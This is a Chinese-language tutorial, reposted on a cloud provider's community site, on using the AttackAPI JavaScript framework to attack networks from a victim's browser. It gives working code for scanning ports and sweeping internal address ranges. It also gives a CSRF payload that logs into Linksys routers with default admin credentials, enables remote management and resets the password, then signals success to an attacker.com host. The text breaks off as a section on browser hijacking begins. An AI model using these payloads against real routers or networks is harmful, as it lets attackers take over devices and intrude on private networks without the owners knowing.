精通JavaScript攻擊架構:AttackAPI(下)

來源:互聯網
上載者:User

宇文

多年來用戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,用戶端安全已經成為資訊安全領域的焦點之一。Web惡意軟體、AJAX蠕蟲、瀏覽曆史暴破、登入檢測、傀儡控制技術網路連接埠掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。

一種類型的安全專業浮現並變成主流利用機制時,供應廠商和個人就會開始發行架構和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。由於存在多種可能的攻擊向量,Web應用程式安全社區也建立了多個架構來探測、利用安全性漏洞,從而揭示Web開發社區所面臨的種種問題。

我們在上篇向大家介紹了AttackAPI測試環境的搭設以及用戶端踩點的方法進行了詳盡的介紹,在本文中我們將對AttackAPI的其他用法做詳盡的介紹。

一、攻擊網路

能從用戶端提取資訊只是攻擊者能夠做的事情中的一小部分而已。用戶端調查只是有預謀的攻擊的一個起點。XSS攻擊不僅僅關於用戶端安全。由於瀏覽器是在不安全的網際網路和區域網路之間的橋樑,因此攻擊者可以濫用不同的瀏覽器特性來定位和攻擊內部裝置。

下面考察一下如何在AttackAPI的協助下對內部網發動攻擊。就像任何有計劃的網路攻擊一樣,我們將要進行連接埠掃描:

$A.scanPorts({
target: www.gnucitizen.org,
ports: [80,81,443],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(completed!)
}
});

498)this.style.width=498;" border=0>

圖1展示了連接埠掃描結果,這是從我們的瀏覽器看到的。您可以看到瀏覽器正確的識別出連接埠80已經開啟,而連接埠81和443被關閉了。

從瀏覽器進行連接埠掃描不是很精確,因此,您可能會收到許多誤判。要消除誤判,需要通過timeout參數對掃描過程進行調優,如下所示:

$A.scanPorts({
target: ‘www.gnucitizen.org’,
ports: [80,81,443],
timeout: 2000, // try with a couple of values to get better results
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

現在,我們已經知道如何進行連接埠掃描了,那麼您現在就可以嘗試通過類似於下列的東西來識別企業印表機已經開啟了哪些連接埠:

$A.scanPorts({
target: ‘10.10.128.54’, // address to the internal printer IP address
ports: [80, 81, 443, 9100],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

參數timeout定義了連接埠掃描程式等待當前受測連接埠響應的時間長度,超過該段時間就將其標識為已關閉。如果受害者通過代理訪問內部Web資源的話,那麼就掃描過程就會失敗。然而,這種設定非常罕見。

注意:Firefox和Opera不能掃描低於80的連接埠號碼。這是這兩個瀏覽器實現的一個安全特性,但是IE沒有這種限制。AttackAPI還能對一個網路範圍內的連接埠進行掃描。這種技術就是平常所說的地毯式連接埠掃描,還可以通過AttackAPI的sweepPorts函數進行訪問。以下代碼示範了sweepPorts函數的能力:

$A.sweepPorts({
network: 212.211.193.100 - 212.211.193.110,
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(completed!)
}
});
如果一切正常,您將看到2所示的結果。

498)this.style.width=498;" border=0>

AttackAPI支援兩種表示位址範圍的方法,一種是“起始IP地址-終止IP地址”表示的位址範圍,另一種是IP/MASK[無類域間路由(CIDR)]表示的位址範圍。在這方面,可以使用以下代碼掃描11.11.66.0的C類位址範圍:

$A.sweepPorts({
network: ‘10.10.56.0/24’,
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});

為了操縱您自己的網路和IP,可以使用一些AttackAPI公用程式,這些公用程式的名稱和用法概述如下:

var num = $A.ip2number(‘10.10.56.10’); // convert IP to number
console.log(num)
var ip = $A.number2ip(num); // effectively 168441866 is the same as 10.10.56.10
console.log(ip);
var range = $A.net2range(‘10.10.56.0/24’); // convert network to range
console.dir(range);
var net = $A.range2net(range); // reverse
console.log(net);

雖然識別出開放連接埠和工作的系統很重要,但是我們所能做的遠不止這些。例如,我們可以通過單個函數調用就能夠對內部路由發動攻擊。

有大量的裝置可以用來瞭解如何通往網際網路。第一個裝置是著名的預設網關。如果您是無線使用者,它就是您的無線路由器。為了便於對這個路由器進行配置和安全設定,有時候允許通過網際網路使用它的管理介面。下面是攻擊者悄悄地完成此任務的方法,只要受害者訪問一個惡意web頁面就足夠了:

$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
}
});

首先,我們調用requestCSRF函數,它是AttackAPI眾多請求函數中的一個,可以用於檢索或者調用遠端資源。與requestXML(它只對同源的資源有效)不同的是,requestCSRF無此限制,但是它對於調用者來說總是不可見的。這意味著,我們不能獲得返回的響應。

RequestCSRF函數被調用時可以帶有一些參數,第一個參數是定義發送方式,這裡是POST。 然後,定義發送有效載荷的URL。注意,我們檢測用戶端的本地IP地址,然後通過前面所講解的方法將其轉換成預設閘道地址。然後,我們添加路由器的預設認證。

無線使用者經常讓他們的路由器保持預設的訪問設定。當requestCSRF函數結束時,我們聲明要發送的實際有效載荷,這個是參數query。從查詢列表我們可以看到,遠端管理介面程式已經啟用,並且系統口令被設為“abc123”。

注意:這個函數使用了Linksys的無線路由器的預設認證。如果該路由器已經配置了其它的認證,它會為受害者提供一個基本認證框,表示在批准該請求前需要對他們進行身分識別驗證。記住,受害者不會知道在後台發生了什麼。它只是看起來串連已經終止,並且路由器試圖恢複控制——很多時候都會遇到這種情況——這也正是受害者樂意鍵入他們的認證並且批准該惡意請求的原因。

攻擊對使用者來說總是不可見的。如果認證得手,連接埠8080就會啟用,這樣就可以通過網際網路來使用其管理介面了。這時,邊界路由器以及所有該網路中的機器都已經完全落入攻擊者手中。

攻擊者可能想要做的事情是發送一個配置訊息,指出該使用者的路由器已經被攻陷了,如下所示:

$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
},
onload: function () {
$A.requestIMG(‘http://attacker.com/confi rm_compromised.php’);
}
});

下面是一個真實的攻擊,並且會對Linksys的無線路由器造成損害。一旦攻擊者潛入您所在的網路,他們就能夠做其他的事情,例如識別不同的本地裝置,並儘可能地收集更多的資訊。所以使用者不應該信賴來自任意頁面的JavaScript代碼,同時他們應該意識到在沒有保護的情況下衝浪所潛在的問題。

在前面部分,我們展示了經過scanStates函數可以發現已經登入的使用者。然而,這個函數還有許多其他用途。由於scanStates基於特徵碼,因此我們可以使用它檢測不同的網路裝置的類型和版本。特徵碼是基於遠端存取資源時包含一個指令碼標籤所引起的錯誤資訊的,例如一個不存在的資源導致的錯誤跟一個由存在的資源所導致的錯誤是有區別的,這意味著,提供一個足夠大的特徵資料庫,我們就可以檢測不同的網路裝置、企業網站等等的類型和版本。攻擊者能夠成功的識別出您的機構的內部網密鑰體制的版本。如果其中有一些具有XSS或者CSRF漏洞,那麼攻擊者就可以針對性的發動攻擊,從而取得受害者的會話的永久性的或者非永久性的控制權。

瀏覽器是有敵意的網際網路和本地可信網路這兩個世界間的一個溝通平台,這使它成為攻擊者穿越兩個世界的理想平台。在下列部分,我們將展示進入某人的路由器是多麼的簡單,已及攻擊者是怎樣輕鬆通過控制其它的裝置來破壞網路的完整性的。

二、劫持瀏覽器

XSS攻擊的主要類型有兩種,持久性和非持久性攻擊。這裡所說的持久性攻擊更加危險,因為使用者每次訪問被感染的資源時攻擊都會發生。這意味著,攻擊者可以在很長一段時間

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.